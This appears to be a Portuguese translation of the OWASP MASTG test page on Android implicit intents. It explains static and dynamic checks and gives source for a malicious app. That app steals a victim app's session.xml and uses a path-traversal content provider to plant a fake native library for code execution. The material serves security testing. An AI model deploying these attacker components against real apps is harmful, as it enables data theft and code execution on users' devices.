MASTG-TEST-0026: Teste de Implicit Intents
Visão Geral¶
Ao testar intents implícitos), é necessário verificar se eles são vulneráveis a ataques de injeção ou potencialmente vazam dados sensíveis.
Análise Estática¶
Inspecione o Android Manifest e procure por quaisquer assinaturas <intent> definidas dentro de blocos android.intent.action.GET_CONTENT, android.intent.action.PICK, android.media.action.IMAGE_CAPTURE, etc.) e navegue pelo código-fonte em busca de sua ocorrência.
Por exemplo, o seguinte Intent não especifica nenhum componente concreto, significando que é um intent implícito. Ele define a ação android.intent.action.GET_CONTENT para solicitar dados de entrada do usuário e, em seguida, o app inicia o intent através de startActivityForResult especificando um seletor de imagem.
Intent intent = new Intent();
intent.setAction("android.intent.action.GET_CONTENT");
startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE);
O app utiliza startActivityForResult em vez de startActivity, indicando que espera um resultado (neste caso, uma imagem). Portanto, você deve verificar como o valor de retorno do intent é tratado procurando pelo callback onActivityResult. Se o valor de retorno do intent não for validado adequadamente, um atacante pode conseguir ler arquivos arbitrários ou executar código arbitrário a partir do armazenamento interno /data/data/<appname> do app. Uma descrição completa deste tipo de ataque pode ser encontrada na seguinte postagem de blog.
Caso 1: Leitura Arbitrária de Arquivo¶
Neste exemplo, veremos como um atacante pode ler arquivos arbitrários do armazenamento interno /data/data/<appname> do app devido à validação inadequada do valor de retorno do intent.
O método performAction no exemplo a seguir lê o valor de retorno dos intents implícitos, que pode ser um URI fornecido pelo atacante, e o passa para getFileItemFromUri. Este método copia o arquivo para uma pasta temporária, o que é comum se este arquivo for exibido internamente. Mas se o app armazenar o arquivo fornecido por URI em um diretório temporário externo, por exemplo, chamando getExternalCacheDir ou getExternalFilesDir, um atacante pode ler este arquivo após definir a permissão android.permission.READ_EXTERNAL_STORAGE.
private void performAction(Action action){
...
Uri data = intent.getData();
if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) {
...
}
}
private FileItem getFileItemFromUri(Context, context, Uri uri){
String fileName = UriExtensions.getFileName(uri, context);
File file = new File(getExternalCacheDir(), "tmp");
file.createNewFile();
copy(context.openInputStream(uri), new FileOutputStream(file));
...
}
A seguir está o código-fonte de um app malicioso que explora o código vulnerável acima.
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
</application>
EvilContentActivity.java
public class EvilContentActivity extends Activity{
@Override
protected void OnCreate(@Nullable Bundle savedInstanceState){
super.OnCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/<victim_app>/shared_preferences/session.xml")));
finish();
}
}
Se o usuário selecionar o app malicioso para tratar o intent, o atacante pode agora roubar o arquivo session.xml do armazenamento interno do app. No exemplo anterior, a vítima deve explicitamente selecionar o app malicioso do atacante em uma caixa de diálogo. No entanto, os desenvolvedores podem optar por suprimir esta caixa de diálogo e determinar automaticamente um destinatário para o intent. Isso permitiría que o ataque ocorresse sem qualquer interação adicional do usuário.
O seguinte exemplo de código implementa esta seleção automática do destinatário. Especificando uma prioridade no filtro de intent do app malicioso, o atacante pode influenciar a sequência de seleção.
Intent intent = new Intent("android.intent.action.GET_CONTENT");
for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
startActivityForResult(intent);
return;
}
Caso 2: Execução Arbitrária de Código¶
Um valor de retorno de um intent implícito tratado inadequadamente pode levar à execução arbitrária de código se o app vítima permitir URLs content:// e file://.
Um atacante pode implementar um ContentProvider que contém public Cursor query(...) para definir um arquivo arbitrário (neste caso lib.so). Se a vítima carregar este arquivo do content provider executando copy, o método ParcelFileDescriptor openFile(...) do atacante será executado e retornará um fakelib.so malicioso.
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"></provider>
</application>
EvilContentProvider.java
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY);
}
EvilContentActivity.java
public class EvilContentActivity extends Activity{
@Override
protected void OnCreate(@Nullable Bundle savedInstanceState){
super.OnCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so")));
finish();
}
}
Análise Dinâmica¶
Uma maneira conveniente de testar dinamicamente intents implícitos, especialmente para identificar possíveis vazamentos de dados sensíveis, é usar Frida ou frida-trace e interceptar os métodos startActivityForResult e onActivityResult, inspecionando os intents fornecidos e os dados que eles contêm.